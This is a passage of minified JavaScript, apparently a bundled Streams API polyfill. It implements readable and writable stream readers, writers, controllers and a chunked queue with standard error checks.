Zc{constructor(){this._cursor=0,this._size=0,this._front={_elements:[],_next:void 0},this._back=this._front,this._cursor=0,this._size=0}get length(){return this._size}push(e){const t=this._back;let r=t;16383===t._elements.length&&(r={_elements:[],_next:void 0}),t._elements.push(e),r!==t&&(this._back=r,t._next=r),++this._size}shift(){const e=this._front;let t=e;const r=this._cursor;let i=r+1;const n=e._elements,a=n[r];return 16384===i&&(t=e._next,i=0),--this._size,this._cursor=i,e!==t&&(this._front=t),n[r]=void 0,a}forEach(e){let t=this._cursor,r=this._front,i=r._elements;for(;!(t===i.length&&void 0===r._next||t===i.length&&(r=r._next,i=r._elements,t=0,0===i.length));)e(i[t]),++t}peek(){const e=this._front,t=this._cursor;return e._elements[t]}}function Yc(e,t){e._ownerReadableStream=t,t._reader=e,"readable"===t._state?eu(e):"closed"===t._state?function(e){eu(e),iu(e)}(e):tu(e,t._storedError)}function Xc(e,t){return Ud(e._ownerReadableStream,t)}function Qc(e){"readable"===e._ownerReadableStream._state?ru(e,new TypeError("Reader was released and can no longer be used to monitor the stream's closedness")):function(e,t){tu(e,t)}(e,new TypeError("Reader was released and can no longer be used to monitor the stream's closedness")),e._ownerReadableStream._reader=void 0,e._ownerReadableStream=void 0}function Jc(e){return new TypeError("Cannot "+e+" a stream using a released reader")}function eu(e){e._closedPromise=zc(((t,r)=>{e._closedPromise_resolve=t,e._closedPromise_reject=r}))}function tu(e,t){eu(e),ru(e,t)}function ru(e,t){void 0!==e._closedPromise_reject&&(Hc(e._closedPromise),e._closedPromise_reject(t),e._closedPromise_resolve=void 0,e._closedPromise_reject=void 0)}function iu(e){void 0!==e._closedPromise_resolve&&(e._closedPromise_resolve(void 0),e._closedPromise_resolve=void 0,e._closedPromise_reject=void 0)}const nu=Mc("[[AbortSteps]]"),au=Mc("[[ErrorSteps]]"),su=Mc("[[CancelSteps]]"),ou=Mc("[[PullSteps]]"),cu=Number.isFinite||function(e){return"number"==typeof e&&isFinite(e)},uu=Math.trunc||function(e){return e<0?Math.ceil(e):Math.floor(e)};function hu(e,t){if(void 0!==e&&("object"!=typeof(r=e)&&"function"!=typeof r))throw new TypeError(t+" is not an object.");var r}function du(e,t){if("function"!=typeof e)throw new TypeError(t+" is not a function.")}function fu(e,t){if(!function(e){return"object"==typeof e&&null!==e||"function"==typeof e}(e))throw new TypeError(t+" is not an object.")}function lu(e,t,r){if(void 0===e)throw new TypeError(`Parameter ${t} is required in '${r}'.`)}function pu(e,t,r){if(void 0===e)throw new TypeError(`${t} is required in '${r}'.`)}function yu(e){return Number(e)}function bu(e){return 0===e?0:e}function mu(e,t){const r=Number.MAX_SAFE_INTEGER;let i=Number(e);if(i=bu(i),!cu(i))throw new TypeError(t+" is not a finite number");if(i=function(e){return bu(uu(e))}(i),i<0||i>r)throw new TypeError(`${t} is outside the accepted range of 0 to ${r}, inclusive`);return cu(i)&&0!==i?i:0}function gu(e,t){if(!Rd(e))throw new TypeError(t+" is not a ReadableStream.")}function wu(e){return new Su(e)}function vu(e,t){e._reader._readRequests.push(t)}function _u(e,t,r){const i=e._reader._readRequests.shift();r?i._closeSteps():i._chunkSteps(t)}function ku(e){return e._reader._readRequests.length}function Au(e){const t=e._reader;return void 0!==t&&!!Eu(t)}class Su{constructor(e){if(lu(e,1,"ReadableStreamDefaultReader"),gu(e,"First parameter"),Id(e))throw new TypeError("This stream has already been locked for exclusive reading by another reader");Yc(this,e),this._readRequests=new Zc}get closed(){return Eu(this)?this._closedPromise:Oc(xu("closed"))}cancel(e){return Eu(this)?void 0===this._ownerReadableStream?Oc(Jc("cancel")):Xc(this,e):Oc(xu("cancel"))}read(){if(!Eu(this))return Oc(xu("read"));if(void 0===this._ownerReadableStream)return Oc(Jc("read from"));let e,t;const r=zc(((r,i)=>{e=r,t=i}));return Pu(this,{_chunkSteps:t=>e({value:t,done:!1}),_closeSteps:()=>e({value:void 0,done:!0}),_errorSteps:e=>t(e)}),r}releaseLock(){if(!Eu(this))throw xu("releaseLock");if(void 0!==this._ownerReadableStream){if(this._readRequests.length>0)throw new TypeError("Tried to release a reader lock when that reader has pending read() calls un-settled");Qc(this)}}}function Eu(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_readRequests")}function Pu(e,t){const r=e._ownerReadableStream;r._disturbed=!0,"closed"===r._state?t._closeSteps():"errored"===r._state?t._errorSteps(r._storedError):r._readableStreamController[ou](t)}function xu(e){return new TypeError(`ReadableStreamDefaultReader.prototype.${e} can only be used on a ReadableStreamDefaultReader`)}let Mu;Object.defineProperties(Su.prototype,{cancel:{enumerable:!0},read:{enumerable:!0},releaseLock:{enumerable:!0},closed:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Su.prototype,Mc.toStringTag,{value:"ReadableStreamDefaultReader",configurable:!0}),"symbol"==typeof Mc.asyncIterator&&(Mu={[Mc.asyncIterator](){return this}},Object.defineProperty(Mu,Mc.asyncIterator,{enumerable:!1}));class Cu{constructor(e,t){this._ongoingPromise=void 0,this._isFinished=!1,this._reader=e,this._preventCancel=t}next(){const e=()=>this._nextSteps();return this._ongoingPromise=this._ongoingPromise?Wc(this._ongoingPromise,e,e):e(),this._ongoingPromise}return(e){const t=()=>this._returnSteps(e);return this._ongoingPromise?Wc(this._ongoingPromise,t,t):t()}_nextSteps(){if(this._isFinished)return Promise.resolve({value:void 0,done:!0});const e=this._reader;if(void 0===e._ownerReadableStream)return Oc(Jc("iterate"));let t,r;const i=zc(((e,i)=>{t=e,r=i}));return Pu(e,{_chunkSteps:e=>{this._ongoingPromise=void 0,Gc((()=>t({value:e,done:!1})))},_closeSteps:()=>{this._ongoingPromise=void 0,this._isFinished=!0,Qc(e),t({value:void 0,done:!0})},_errorSteps:t=>{this._ongoingPromise=void 0,this._isFinished=!0,Qc(e),r(t)}}),i}_returnSteps(e){if(this._isFinished)return Promise.resolve({value:e,done:!0});this._isFinished=!0;const t=this._reader;if(void 0===t._ownerReadableStream)return Oc(Jc("finish iterating"));if(!this._preventCancel){const r=Xc(t,e);return Qc(t),Wc(r,(()=>({value:e,done:!0})))}return Qc(t),qc({value:e,done:!0})}}const Ku={next(){return Du(this)?this._asyncIteratorImpl.next():Oc(Ru("next"))},return(e){return Du(this)?this._asyncIteratorImpl.return(e):Oc(Ru("return"))}};function Du(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_asyncIteratorImpl")}function Ru(e){return new TypeError(`ReadableStreamAsyncIterator.${e} can only be used on a ReadableSteamAsyncIterator`)}void 0!==Mu&&Object.setPrototypeOf(Ku,Mu);const Iu=Number.isNaN||function(e){return e!=e};function Uu(e){return!!function(e){if("number"!=typeof e)return!1;if(Iu(e))return!1;if(e<0)return!1;return!0}(e)&&e!==1/0}function Bu(e){const t=e._queue.shift();return e._queueTotalSize-=t.size,e._queueTotalSize<0&&(e._queueTotalSize=0),t.value}function Tu(e,t,r){if(!Uu(r=Number(r)))throw new RangeError("Size must be a finite, non-NaN, non-negative number.");e._queue.push({value:t,size:r}),e._queueTotalSize+=r}function zu(e){e._queue=new Zc,e._queueTotalSize=0}function qu(e){return e.slice()}class Ou{constructor(){throw new TypeError("Illegal constructor")}get view(){if(!Lu(this))throw nh("view");return this._view}respond(e){if(!Lu(this))throw nh("respond");if(lu(e,1,"respond"),e=mu(e,"First parameter"),void 0===this._associatedReadableByteStreamController)throw new TypeError("This BYOB request has been invalidated");this._view.buffer,function(e,t){if(!Uu(t=Number(t)))throw new RangeError("bytesWritten must be a finite");Qu(e,t)}(this._associatedReadableByteStreamController,e)}respondWithNewView(e){if(!Lu(this))throw nh("respondWithNewView");if(lu(e,1,"respondWithNewView"),!ArrayBuffer.isView(e))throw new TypeError("You can only respond with array buffer views");if(0===e.byteLength)throw new TypeError("chunk must have non-zero byteLength");if(0===e.buffer.byteLength)throw new TypeError("chunk's buffer must have non-zero byteLength");if(void 0===this._associatedReadableByteStreamController)throw new TypeError("This BYOB request has been invalidated");!function(e,t){const r=e._pendingPullIntos.peek();if(r.byteOffset+r.bytesFilled!==t.byteOffset)throw new RangeError("The region specified by view does not match byobRequest");if(r.byteLength!==t.byteLength)throw new RangeError("The buffer of view has different capacity than byobRequest");r.buffer=t.buffer,Qu(e,t.byteLength)}(this._associatedReadableByteStreamController,e)}}Object.defineProperties(Ou.prototype,{respond:{enumerable:!0},respondWithNewView:{enumerable:!0},view:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Ou.prototype,Mc.toStringTag,{value:"ReadableStreamBYOBRequest",configurable:!0});class Fu{constructor(){throw new TypeError("Illegal constructor")}get byobRequest(){if(!Nu(this))throw ah("byobRequest");if(null===this._byobRequest&&this._pendingPullIntos.length>0){const e=this._pendingPullIntos.peek(),t=new Uint8Array(e.buffer,e.byteOffset+e.bytesFilled,e.byteLength-e.bytesFilled),r=Object.create(Ou.prototype);!function(e,t,r){e._associatedReadableByteStreamController=t,e._view=r}(r,this,t),this._byobRequest=r}return this._byobRequest}get desiredSize(){if(!Nu(this))throw ah("desiredSize");return rh(this)}close(){if(!Nu(this))throw ah("close");if(this._closeRequested)throw new TypeError("The stream has already been closed; do not close it again!");const e=this._controlledReadableByteStream._state;if("readable"!==e)throw new TypeError(`The stream (in ${e} state) is not in the readable state and cannot be closed`);!function(e){const t=e._controlledReadableByteStream;if(e._closeRequested||"readable"!==t._state)return;if(e._queueTotalSize>0)return void(e._closeRequested=!0);if(e._pendingPullIntos.length>0){if(e._pendingPullIntos.peek().bytesFilled>0){const t=new TypeError("Insufficient bytes to fill elements in the given buffer");throw th(e,t),t}}eh(e),Bd(t)}(this)}enqueue(e){if(!Nu(this))throw ah("enqueue");if(lu(e,1,"enqueue"),!ArrayBuffer.isView(e))throw new TypeError("chunk must be an array buffer view");if(0===e.byteLength)throw new TypeError("chunk must have non-zero byteLength");if(0===e.buffer.byteLength)throw new TypeError("chunk's buffer must have non-zero byteLength");if(this._closeRequested)throw new TypeError("stream is closed or draining");const t=this._controlledReadableByteStream._state;if("readable"!==t)throw new TypeError(`The stream (in ${t} state) is not in the readable state and cannot be enqueued to`);!function(e,t){const r=e._controlledReadableByteStream;if(e._closeRequested||"readable"!==r._state)return;const i=t.buffer,n=t.byteOffset,a=t.byteLength,s=i;if(Au(r))if(0===ku(r))Gu(e,s,n,a);else{_u(r,new Uint8Array(s,n,a),!1)}else ch(r)?(Gu(e,s,n,a),Xu(e)):Gu(e,s,n,a);ju(e)}(this,e)}error(e){if(!Nu(this))throw ah("error");th(this,e)}[su](e){if(this._pendingPullIntos.length>0){this._pendingPullIntos.peek().bytesFilled=0}zu(this);const t=this._cancelAlgorithm(e);return eh(this),t}[ou](e){const t=this._controlledReadableByteStream;if(this._queueTotalSize>0){const t=this._queue.shift();this._queueTotalSize-=t.byteLength,Zu(this);const r=new Uint8Array(t.buffer,t.byteOffset,t.byteLength);return void e._chunkSteps(r)}const r=this._autoAllocateChunkSize;if(void 0!==r){let t;try{t=new ArrayBuffer(r)}catch(t){return void e._errorSteps(t)}const i={buffer:t,byteOffset:0,byteLength:r,bytesFilled:0,elementSize:1,viewConstructor:Uint8Array,readerType:"default"};this._pendingPullIntos.push(i)}vu(t,e),ju(this)}}function Nu(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_controlledReadableByteStream")}function Lu(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_associatedReadableByteStreamController")}function ju(e){if(!function(e){const t=e._controlledReadableByteStream;if("readable"!==t._state)return!1;if(e._closeRequested)return!1;if(!e._started)return!1;if(Au(t)&&ku(t)>0)return!0;if(ch(t)&&oh(t)>0)return!0;if(rh(e)>0)return!0;return!1}(e))return;if(e._pulling)return void(e._pullAgain=!0);e._pulling=!0;Nc(e._pullAlgorithm(),(()=>{e._pulling=!1,e._pullAgain&&(e._pullAgain=!1,ju(e))}),(t=>{th(e,t)}))}function Wu(e,t){let r=!1;"closed"===e._state&&(r=!0);const i=Hu(t);"default"===t.readerType?_u(e,i,r):function(e,t,r){const i=e._reader._readIntoRequests.shift();r?i._closeSteps(t):i._chunkSteps(t)}(e,i,r)}function Hu(e){const t=e.bytesFilled,r=e.elementSize;return new e.viewConstructor(e.buffer,e.byteOffset,t/r)}function Gu(e,t,r,i){e._queue.push({buffer:t,byteOffset:r,byteLength:i}),e._queueTotalSize+=i}function Vu(e,t){const r=t.elementSize,i=t.bytesFilled-t.bytesFilled%r,n=Math.min(e._queueTotalSize,t.byteLength-t.bytesFilled),a=t.bytesFilled+n,s=a-a%r;let o=n,c=!1;s>i&&(o=s-t.bytesFilled,c=!0);const u=e._queue;for(;o>0;){const r=u.peek(),i=Math.min(o,r.byteLength),n=t.byteOffset+t.bytesFilled;h=t.buffer,d=n,f=r.buffer,l=r.byteOffset,p=i,new Uint8Array(h).set(new Uint8Array(f,l,p),d),r.byteLength===i?u.shift():(r.byteOffset+=i,r.byteLength-=i),e._queueTotalSize-=i,$u(e,i,t),o-=i}var h,d,f,l,p;return c}function $u(e,t,r){Yu(e),r.bytesFilled+=t}function Zu(e){0===e._queueTotalSize&&e._closeRequested?(eh(e),Bd(e._controlledReadableByteStream)):ju(e)}function Yu(e){null!==e._byobRequest&&(e._byobRequest._associatedReadableByteStreamController=void 0,e._byobRequest._view=null,e._byobRequest=null)}function Xu(e){for(;e._pendingPullIntos.length>0;){if(0===e._queueTotalSize)return;const t=e._pendingPullIntos.peek();Vu(e,t)&&(Ju(e),Wu(e._controlledReadableByteStream,t))}}function Qu(e,t){const r=e._pendingPullIntos.peek();if("closed"===e._controlledReadableByteStream._state){if(0!==t)throw new TypeError("bytesWritten must be 0 when calling respond() on a closed stream");!function(e,t){t.buffer=t.buffer;const r=e._controlledReadableByteStream;if(ch(r))for(;oh(r)>0;)Wu(r,Ju(e))}(e,r)}else!function(e,t,r){if(r.bytesFilled+t>r.byteLength)throw new RangeError("bytesWritten out of range");if($u(e,t,r),r.bytesFilled<r.elementSize)return;Ju(e);const i=r.bytesFilled%r.elementSize;if(i>0){const t=r.byteOffset+r.bytesFilled,n=r.buffer.slice(t-i,t);Gu(e,n,0,n.byteLength)}r.buffer=r.buffer,r.bytesFilled-=i,Wu(e._controlledReadableByteStream,r),Xu(e)}(e,t,r);ju(e)}function Ju(e){const t=e._pendingPullIntos.shift();return Yu(e),t}function eh(e){e._pullAlgorithm=void 0,e._cancelAlgorithm=void 0}function th(e,t){const r=e._controlledReadableByteStream;"readable"===r._state&&(!function(e){Yu(e),e._pendingPullIntos=new Zc}(e),zu(e),eh(e),Td(r,t))}function rh(e){const t=e._controlledReadableByteStream._state;return"errored"===t?null:"closed"===t?0:e._strategyHWM-e._queueTotalSize}function ih(e,t,r){const i=Object.create(Fu.prototype);let n=()=>{},a=()=>qc(void 0),s=()=>qc(void 0);void 0!==t.start&&(n=()=>t.start(i)),void 0!==t.pull&&(a=()=>t.pull(i)),void 0!==t.cancel&&(s=e=>t.cancel(e));const o=t.autoAllocateChunkSize;if(0===o)throw new TypeError("autoAllocateChunkSize must be greater than 0");!function(e,t,r,i,n,a,s){t._controlledReadableByteStream=e,t._pullAgain=!1,t._pulling=!1,t._byobRequest=null,t._queue=t._queueTotalSize=void 0,zu(t),t._closeRequested=!1,t._started=!1,t._strategyHWM=a,t._pullAlgorithm=i,t._cancelAlgorithm=n,t._autoAllocateChunkSize=s,t._pendingPullIntos=new Zc,e._readableStreamController=t,Nc(qc(r()),(()=>{t._started=!0,ju(t)}),(e=>{th(t,e)}))}(e,i,n,a,s,r,o)}function nh(e){return new TypeError(`ReadableStreamBYOBRequest.prototype.${e} can only be used on a ReadableStreamBYOBRequest`)}function ah(e){return new TypeError(`ReadableByteStreamController.prototype.${e} can only be used on a ReadableByteStreamController`)}function sh(e,t){e._reader._readIntoRequests.push(t)}function oh(e){return e._reader._readIntoRequests.length}function ch(e){const t=e._reader;return void 0!==t&&!!hh(t)}Object.defineProperties(Fu.prototype,{close:{enumerable:!0},enqueue:{enumerable:!0},error:{enumerable:!0},byobRequest:{enumerable:!0},desiredSize:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Fu.prototype,Mc.toStringTag,{value:"ReadableByteStreamController",configurable:!0});class uh{constructor(e){if(lu(e,1,"ReadableStreamBYOBReader"),gu(e,"First parameter"),Id(e))throw new TypeError("This stream has already been locked for exclusive reading by another reader");if(!Nu(e._readableStreamController))throw new TypeError("Cannot construct a ReadableStreamBYOBReader for a stream not constructed with a byte source");Yc(this,e),this._readIntoRequests=new Zc}get closed(){return hh(this)?this._closedPromise:Oc(dh("closed"))}cancel(e){return hh(this)?void 0===this._ownerReadableStream?Oc(Jc("cancel")):Xc(this,e):Oc(dh("cancel"))}read(e){if(!hh(this))return Oc(dh("read"));if(!ArrayBuffer.isView(e))return Oc(new TypeError("view must be an array buffer view"));if(0===e.byteLength)return Oc(new TypeError("view must have non-zero byteLength"));if(0===e.buffer.byteLength)return Oc(new TypeError("view's buffer must have non-zero byteLength"));if(void 0===this._ownerReadableStream)return Oc(Jc("read from"));let t,r;const i=zc(((e,i)=>{t=e,r=i}));return function(e,t,r){const i=e._ownerReadableStream;i._disturbed=!0,"errored"===i._state?r._errorSteps(i._storedError):function(e,t,r){const i=e._controlledReadableByteStream;let n=1;t.constructor!==DataView&&(n=t.constructor.BYTES_PER_ELEMENT);const a=t.constructor,s={buffer:t.buffer,byteOffset:t.byteOffset,byteLength:t.byteLength,bytesFilled:0,elementSize:n,viewConstructor:a,readerType:"byob"};if(e._pendingPullIntos.length>0)return e._pendingPullIntos.push(s),void sh(i,r);if("closed"!==i._state){if(e._queueTotalSize>0){if(Vu(e,s)){const t=Hu(s);return Zu(e),void r._chunkSteps(t)}if(e._closeRequested){const t=new TypeError("Insufficient bytes to fill elements in the given buffer");return th(e,t),void r._errorSteps(t)}}e._pendingPullIntos.push(s),sh(i,r),ju(e)}else{const e=new a(s.buffer,s.byteOffset,0);r._closeSteps(e)}}(i._readableStreamController,t,r)}(this,e,{_chunkSteps:e=>t({value:e,done:!1}),_closeSteps:e=>t({value:e,done:!0}),_errorSteps:e=>r(e)}),i}releaseLock(){if(!hh(this))throw dh("releaseLock");if(void 0!==this._ownerReadableStream){if(this._readIntoRequests.length>0)throw new TypeError("Tried to release a reader lock when that reader has pending read() calls un-settled");Qc(this)}}}function hh(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_readIntoRequests")}function dh(e){return new TypeError(`ReadableStreamBYOBReader.prototype.${e} can only be used on a ReadableStreamBYOBReader`)}function fh(e,t){const{highWaterMark:r}=e;if(void 0===r)return t;if(Iu(r)||r<0)throw new RangeError("Invalid highWaterMark");return r}function lh(e){const{size:t}=e;return t||(()=>1)}function ph(e,t){hu(e,t);const r=null==e?void 0:e.highWaterMark,i=null==e?void 0:e.size;return{highWaterMark:void 0===r?void 0:yu(r),size:void 0===i?void 0:yh(i,t+" has member 'size' that")}}function yh(e,t){return du(e,t),t=>yu(e(t))}function bh(e,t,r){return du(e,r),r=>$c(e,t,[r])}function mh(e,t,r){return du(e,r),()=>$c(e,t,[])}function gh(e,t,r){return du(e,r),r=>Vc(e,t,[r])}function wh(e,t,r){return du(e,r),(r,i)=>$c(e,t,[r,i])}function vh(e,t){if(!Sh(e))throw new TypeError(t+" is not a WritableStream.")}Object.defineProperties(uh.prototype,{cancel:{enumerable:!0},read:{enumerable:!0},releaseLock:{enumerable:!0},closed:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(uh.prototype,Mc.toStringTag,{value:"ReadableStreamBYOBReader",configurable:!0});class _h{constructor(e={},t={}){void 0===e?e=null:fu(e,"First parameter");const r=ph(t,"Second parameter"),i=function(e,t){hu(e,t);const r=null==e?void 0:e.abort,i=null==e?void 0:e.close,n=null==e?void 0:e.start,a=null==e?void 0:e.type,s=null==e?void 0:e.write;return{abort:void 0===r?void 0:bh(r,e,t+" has member 'abort' that"),close:void 0===i?void 0:mh(i,e,t+" has member 'close' that"),start:void 0===n?void 0:gh(n,e,t+" has member 'start' that"),write:void 0===s?void 0:wh(s,e,t+" has member 'write' that"),type:a}}(e,"First parameter");Ah(this);if(void 0!==i.type)throw new RangeError("Invalid type is specified");const n=lh(r);!function(e,t,r,i){const n=Object.create(Lh.prototype);let a=()=>{},s=()=>qc(void 0),o=()=>qc(void 0),c=()=>qc(void 0);void 0!==t.start&&(a=()=>t.start(n));void 0!==t.write&&(s=e=>t.write(e,n));void 0!==t.close&&(o=()=>t.close());void 0!==t.abort&&(c=e=>t.abort(e));jh(e,n,a,s,o,c,r,i)}(this,i,fh(r,1),n)}get locked(){if(!Sh(this))throw Yh("locked");return Eh(this)}abort(e){return Sh(this)?Eh(this)?Oc(new TypeError("Cannot abort a stream that already has a writer")):Ph(this,e):Oc(Yh("abort"))}close(){return Sh(this)?Eh(this)?Oc(new TypeError("Cannot close a stream that already has a writer")):Dh(this)?Oc(new TypeError("Cannot close an already-closing stream")):xh(this):Oc(Yh("close"))}getWriter(){if(!Sh(this))throw Yh("getWriter");return kh(this)}}function kh(e){return new Uh(e)}function Ah(e){e._state="writable",e._storedError=void 0,e._writer=void 0,e._writableStreamController=void 0,e._writeRequests=new Zc,e._inFlightWriteRequest=void 0,e._closeRequest=void 0,e._inFlightCloseRequest=void 0,e._pendingAbortRequest=void 0,e._backpressure=!1}function Sh(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_writableStreamController")}function Eh(e){return void 0!==e._writer}function Ph(e,t){const r=e._state;if("closed"===r||"errored"===r)return qc(void 0);if(void 0!==e._pendingAbortRequest)return e._pendingAbortRequest._promise;let i=!1;"erroring"===r&&(i=!0,t=void 0);const n=zc(((r,n)=>{e._pendingAbortRequest={_promise:void 0,_resolve:r,_reject:n,_reason:t,_wasAlreadyErroring:i}}));return e._pendingAbortRequest._promise=n,i||Ch(e,t),n}function xh(e){const t=e._state;if("closed"===t||"errored"===t)return Oc(new TypeError(`The stream (in ${t} state) is not in the writable state and cannot be closed`));const r=zc(((t,r)=>{const i={_resolve:t,_reject:r};e._closeRequest=i})),i=e._writer;var n;return void 0!==i&&e._backpressure&&"writable"===t&&od(i),Tu(n=e._writableStreamController,Nh,0),Gh(n),r}function Mh(e,t){"writable"!==e._state?Kh(e):Ch(e,t)}function Ch(e,t){const r=e._writableStreamController;e._state="erroring",e._storedError=t;const i=e._writer;void 0!==i&&qh(i,t),!function(e){if(void 0===e._inFlightWriteRequest&&void 0===e._inFlightCloseRequest)return!1;return!0}(e)&&r._started&&Kh(e)}function Kh(e){e._state="errored",e._writableStreamController[au]();const t=e._storedError;if(e._writeRequests.forEach((e=>{e._reject(t)})),e._writeRequests=new Zc,void 0===e._pendingAbortRequest)return void Rh(e);const r=e._pendingAbortRequest;if(e._pendingAbortRequest=void 0,r._wasAlreadyErroring)return r._reject(t),void Rh(e);Nc(e._writableStreamController[nu](r._reason),(()=>{r._resolve(),Rh(e)}),(t=>{r._reject(t),Rh(e)}))}function Dh(e){return void 0!==e._closeRequest||void 0!==e._inFlightCloseRequest}function Rh(e){void 0!==e._closeRequest&&(e._closeRequest._reject(e._storedError),e._closeRequest=void 0);const t=e._writer;void 0!==t&&td(t,e._storedError)}function Ih(e,t){const r=e._writer;void 0!==r&&t!==e._backpressure&&(t?function(e){id(e)}(r):od(r)),e._backpressure=t}Object.defineProperties(_h.prototype,{abort:{enumerable:!0},close:{enumerable:!0},getWriter:{enumerable:!0},locked:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(_h.prototype,Mc.toStringTag,{value:"WritableStream",configurable:!0});class Uh{constructor(e){if(lu(e,1,"WritableStreamDefaultWriter"),vh(e,"First parameter"),Eh(e))throw new TypeError("This stream has already been locked for exclusive writing by another writer");this._ownerWritableStream=e,e._writer=this;const t=e._state;if("writable"===t)!Dh(e)&&e._backpressure?id(this):ad(this),Jh(this);else if("erroring"===t)nd(this,e._storedError),Jh(this);else if("closed"===t)ad(this),Jh(r=this),rd(r);else{const t=e._storedError;nd(this,t),ed(this,t)}var r}get closed(){return Bh(this)?this._closedPromise:Oc(Xh("closed"))}get desiredSize(){if(!Bh(this))throw Xh("desiredSize");if(void 0===this._ownerWritableStream)throw Qh("desiredSize");return function(e){const t=e._ownerWritableStream,r=t._state;if("errored"===r||"erroring"===r)return null;if("closed"===r)return 0;return Hh(t._writableStreamController)}(this)}get ready(){return Bh(this)?this._readyPromise:Oc(Xh("ready"))}abort(e){return Bh(this)?void 0===this._ownerWritableStream?Oc(Qh("abort")):function(e,t){return Ph(e._ownerWritableStream,t)}(this,e):Oc(Xh("abort"))}close(){if(!Bh(this))return Oc(Xh("close"));const e=this._ownerWritableStream;return void 0===e?Oc(Qh("close")):Dh(e)?Oc(new TypeError("Cannot close an already-closing stream")):Th(this)}releaseLock(){if(!Bh(this))throw Xh("releaseLock");void 0!==this._ownerWritableStream&&Oh(this)}write(e){return Bh(this)?void 0===this._ownerWritableStream?Oc(Qh("write to")):Fh(this,e):Oc(Xh("write"))}}function Bh(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_ownerWritableStream")}function Th(e){return xh(e._ownerWritableStream)}function zh(e,t){"pending"===e._closedPromiseState?td(e,t):function(e,t){ed(e,t)}(e,t)}function qh(e,t){"pending"===e._readyPromiseState?sd(e,t):function(e,t){nd(e,t)}(e,t)}function Oh(e){const t=e._ownerWritableStream,r=new TypeError("Writer was released and can no longer be used to monitor the stream's closedness");qh(e,r),zh(e,r),t._writer=void 0,e._ownerWritableStream=void 0}function Fh(e,t){const r=e._ownerWritableStream,i=r._writableStreamController,n=function(e,t){try{return e._strategySizeAlgorithm(t)}catch(t){return Vh(e,t),1}}(i,t);if(r!==e._ownerWritableStream)return Oc(Qh("write to"));const a=r._state;if("errored"===a)return Oc(r._storedError);if(Dh(r)||"closed"===a)return Oc(new TypeError("The stream is closing or closed and cannot be written to"));if("erroring"===a)return Oc(r._storedError);const s=function(e){return zc(((t,r)=>{const i={_resolve:t,_reject:r};e._writeRequests.push(i)}))}(r);return function(e,t,r){try{Tu(e,t,r)}catch(t){return void Vh(e,t)}const i=e._controlledWritableStream;if(!Dh(i)&&"writable"===i._state){Ih(i,$h(e))}Gh(e)}(i,t,n),s}Object.defineProperties(Uh.prototype,{abort:{enumerable:!0},close:{enumerable:!0},releaseLock:{enumerable:!0},write:{enumerable:!0},closed:{enumerable:!0},desiredSize:{enumerable:!0},ready:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Uh.prototype,Mc.toStringTag,{value:"WritableStreamDefaultWriter",configurable:!0});const Nh={};class Lh{constructor(){throw new TypeError("Illegal constructor")}error(e){if(!function(e){if(!Dc(e))return!1;if(!Object.prototype.hasOwnProperty.call(e,"_controlledWritableStream"))return!1;return!0}(this))throw new TypeError("WritableStreamDefaultController.prototype.error can only be used on a WritableStreamDefaultController");"writable"===this._controlledWritableStream._state&&Zh(this,e)}[nu](e){const t=this._abortAlgorithm(e);return Wh(this),t}[au](){zu(this)}}function jh(e,t,r,i,n,a,s,o){t._controlledWritableStream=e,e._writableStreamController=t,t._queue=void 0,t._queueTotalSize=void 0,zu(t),t._started=!1,t._strategySizeAlgorithm=o,t._strategyHWM=s,t._writeAlgorithm=i,t._closeAlgorithm=n,t._abortAlgorithm=a;const c=$h(t);Ih(e,c);Nc(qc(r()),(()=>{t._started=!0,Gh(t)}),(r=>{t._started=!0,Mh(e,r)}))}function Wh(e){e._writeAlgorithm=void 0,e._closeAlgorithm=void 0,e._abortAlgorithm=void 0,e._strategySizeAlgorithm=void 0}function Hh(e){return e._strategyHWM-e._queueTotalSize}function Gh(e){const t=e._controlledWritableStream;if(!e._started)return;if(void 0!==t._inFlightWriteRequest)return;if("erroring"===t._state)return void Kh(t);if(0===e._queue.length)return;const r=e._queue.peek().value;r===Nh?function(e){const t=e._controlledWritableStream;(function(e){e._inFlightCloseRequest=e._closeRequest,e._closeRequest=void 0})(t),Bu(e);const r=e._closeAlgorithm();Wh(e),Nc(r,(()=>{!function(e){e._inFlightCloseRequest._resolve(void 0),e._inFlightCloseRequest=void 0,"erroring"===e._state&&(e._storedError=void 0,void 0!==e._pendingAbortRequest&&(e._pendingAbortRequest._resolve(),e._pendingAbortRequest=void 0)),e._state="closed";const t=e._writer;void 0!==t&&rd(t)}(t)}),(e=>{!function(e,t){e._inFlightCloseRequest._reject(t),e._inFlightCloseRequest=void 0,void 0!==e._pendingAbortRequest&&(e._pendingAbortRequest._reject(t),e._pendingAbortRequest=void 0),Mh(e,t)}(t,e)}))}(e):function(e,t){const r=e._controlledWritableStream;!function(e){e._inFlightWriteRequest=e._writeRequests.shift()}(r);Nc(e._writeAlgorithm(t),(()=>{!function(e){e._inFlightWriteRequest._resolve(void 0),e._inFlightWriteRequest=void 0}(r);const t=r._state;if(Bu(e),!Dh(r)&&"writable"===t){const t=$h(e);Ih(r,t)}Gh(e)}),(t=>{"writable"===r._state&&Wh(e),function(e,t){e._inFlightWriteRequest._reject(t),e._inFlightWriteRequest=void 0,Mh(e,t)}(r,t)}))}(e,r)}function Vh(e,t){"writable"===e._controlledWritableStream._state&&Zh(e,t)}function $h(e){return Hh(e)<=0}function Zh(e,t){const r=e._controlledWritableStream;Wh(e),Ch(r,t)}function Yh(e){return new TypeError(`WritableStream.prototype.${e} can only be used on a WritableStream`)}function Xh(e){return new TypeError(`WritableStreamDefaultWriter.prototype.${e} can only be used on a WritableStreamDefaultWriter`)}function Qh(e){return new TypeError("Cannot "+e+" a stream using a released writer")}function 